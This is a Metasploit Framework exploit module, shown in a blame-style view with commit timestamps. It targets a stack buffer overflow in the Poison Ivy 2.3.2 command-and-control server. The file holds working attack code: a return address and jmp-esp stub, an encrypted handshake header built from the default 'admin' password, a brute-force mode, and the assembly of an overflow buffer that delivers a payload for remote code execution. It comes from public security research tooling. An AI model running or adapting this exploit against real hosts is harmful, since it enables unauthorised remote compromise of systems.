2012-07-03 21:49:47 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
2012-07-04 09:37:36 +00:00
|
|
|
include Msf::Exploit::Brute
|
2012-07-03 21:49:47 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Poison Ivy 2.3.2 C&C Server Buffer Overflow",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server.
|
2012-07-04 22:18:13 +00:00
|
|
|
The exploit does not need to know the password chosen for the bot/server
|
|
|
|
communication. If the C&C is configured with the default 'admin' password,
|
|
|
|
the exploit should work fine. In case of the C&C configured with another
|
|
|
|
password the exploit can fail. The 'check' command can be used to determine
|
|
|
|
if the C&C target is using the default 'admin' password.
|
2012-07-04 11:02:47 +00:00
|
|
|
|
|
|
|
Hopefully an exploit try won't crash the Poison Ivy C&C process, just the thread
|
2012-07-04 22:18:13 +00:00
|
|
|
responsible of handling the connection. Because of this the module provides the
|
|
|
|
RANDHEADER option and a bruteforce target. If RANDHEADER is used a random header
|
|
|
|
will be used. If the bruteforce target is selected, a random header will be sent in
|
|
|
|
case the default for the password 'admin' doesn't work. Bruteforce will stop after
|
|
|
|
5 tries or a session obtained.
|
2012-07-03 21:49:47 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Andrzej Dereszowski', # Vulnerability Discovery
|
2012-07-04 22:18:13 +00:00
|
|
|
'Gal Badishi', # Exploit and Metasploit module
|
|
|
|
'juan vazquez' # Testing and little of Metasploit-fu
|
2012-07-03 21:49:47 +00:00
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ],
|
|
|
|
[ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => "Jun 24 2012",
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'StackAdjustment' => -4000,
|
|
|
|
'Space' => 10000,
|
|
|
|
'BadChars' => "",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2012-07-06 17:44:03 +00:00
|
|
|
[
|
|
|
|
'Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1',
|
|
|
|
{
|
|
|
|
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
|
|
|
|
'RWAddress' => 0x00401000,
|
|
|
|
'Offset' => 0x806D,
|
|
|
|
'PayloadOffset' => 0x75,
|
|
|
|
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[
|
|
|
|
'Poison Ivy 2.3.2 - Bruteforce / Windows XP SP3 / Windows 7 SP1',
|
2012-07-04 08:54:35 +00:00
|
|
|
{
|
|
|
|
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
|
|
|
|
'RWAddress' => 0x00401000,
|
|
|
|
'Offset' => 0x806D,
|
|
|
|
'PayloadOffset' => 0x75,
|
2012-07-04 09:37:36 +00:00
|
|
|
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4", # sub esp,0x8000 # jmp esp
|
|
|
|
'Bruteforce' =>
|
|
|
|
{
|
|
|
|
'Start' => { 'Try' => 1 },
|
2012-07-04 13:48:32 +00:00
|
|
|
'Stop' => { 'Try' => 6 },
|
2012-07-04 09:37:36 +00:00
|
|
|
'Step' => 1,
|
|
|
|
'Delay' => 2
|
|
|
|
}
|
2012-07-04 08:54:35 +00:00
|
|
|
}
|
2012-07-06 17:44:03 +00:00
|
|
|
]
|
2012-07-03 21:49:47 +00:00
|
|
|
],
|
|
|
|
'DefaultTarget' => 0
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(3460),
|
2012-07-04 13:25:12 +00:00
|
|
|
OptBool.new('RANDHEADER', [true, 'Send random bytes as the header', false])
|
2012-07-03 21:49:47 +00:00
|
|
|
], self.class)
|
2012-07-04 09:37:36 +00:00
|
|
|
|
|
|
|
register_advanced_options(
|
|
|
|
[
|
|
|
|
OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 2 ]),
|
|
|
|
], self.class)
|
|
|
|
|
2012-07-03 21:49:47 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
2012-07-04 10:16:30 +00:00
|
|
|
sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b"
|
2012-07-03 21:49:47 +00:00
|
|
|
lensig = [0x000015D0].pack("V")
|
|
|
|
|
|
|
|
connect
|
|
|
|
sock.put("\x00" * 256)
|
|
|
|
response = sock.read(256)
|
|
|
|
datalen = sock.read(4)
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
if datalen == lensig
|
2012-07-04 10:16:30 +00:00
|
|
|
if response[0, 16] == sig
|
|
|
|
print_status("Password appears to be \"admin\"")
|
|
|
|
else
|
2012-07-04 13:25:12 +00:00
|
|
|
print_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.")
|
2012-07-04 10:16:30 +00:00
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
2012-07-03 21:49:47 +00:00
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
2012-07-04 11:02:47 +00:00
|
|
|
def single_exploit
|
2012-07-04 13:25:12 +00:00
|
|
|
if datastore['RANDHEADER'] == true
|
|
|
|
# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
|
|
|
|
header = rand_text(0x20)
|
|
|
|
else
|
|
|
|
# This is the 32-byte header we want to send, encrypted with the default password ("admin")
|
|
|
|
# We have a very good chance of succeeding even if the password was changed
|
|
|
|
header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
|
|
|
|
end
|
2012-07-04 11:02:47 +00:00
|
|
|
do_exploit(header)
|
|
|
|
end
|
2012-07-04 09:37:36 +00:00
|
|
|
|
2012-07-04 11:02:47 +00:00
|
|
|
def brute_exploit(brute_target)
|
2012-07-04 09:37:36 +00:00
|
|
|
if brute_target['Try'] == 1
|
|
|
|
print_status("Bruteforcing - Try #{brute_target['Try']}: Header for 'admin' password")
|
|
|
|
# This is the 32-byte header we want to send, encrypted with the default password ("admin")
|
|
|
|
# We have a very good chance of succeeding even if the password was changed
|
|
|
|
header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
|
|
|
|
else
|
|
|
|
print_status("Bruteforcing - Try #{brute_target['Try']}: Random Header")
|
|
|
|
# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
|
|
|
|
header = rand_text(0x20)
|
|
|
|
end
|
2012-07-04 11:02:47 +00:00
|
|
|
do_exploit(header)
|
|
|
|
end
|
2012-07-04 08:54:35 +00:00
|
|
|
|
2012-07-04 11:02:47 +00:00
|
|
|
def do_exploit(header)
|
2012-07-04 08:54:35 +00:00
|
|
|
# Handshake
|
|
|
|
connect
|
|
|
|
print_status("Performing handshake...")
|
|
|
|
sock.put("\x00" * 256)
|
|
|
|
sock.get
|
|
|
|
|
|
|
|
# Don't change the nulls, or it might not work
|
|
|
|
xploit = ''
|
|
|
|
xploit << header
|
|
|
|
xploit << "\x00" * (target['PayloadOffset'] - xploit.length)
|
|
|
|
xploit << payload.encoded
|
|
|
|
xploit << "\x00" * (target['Offset'] - xploit.length)
|
|
|
|
xploit << [target.ret].pack("V") # ret to a jmp esp opcode
|
|
|
|
xploit << [target['RWAddress']].pack("V") # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
|
|
|
|
xploit << target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back)
|
|
|
|
|
|
|
|
# The disconnection triggers the exploit
|
|
|
|
print_status("Sending exploit...")
|
|
|
|
sock.put(xploit)
|
|
|
|
select(nil,nil,nil,5)
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
=begin
|
|
|
|
|
|
|
|
* ROP version of exploit(): Has been discarded at the moment because of two reasons:
|
|
|
|
|
|
|
|
(1) Poison Ivy fails to run on DEP enabled systems (maybe due to the unpacking process)
|
|
|
|
(2) When trying a unpacked version on DEP enabled systems windows/exec payload runs, but not meterpreter
|
|
|
|
|
|
|
|
=end
|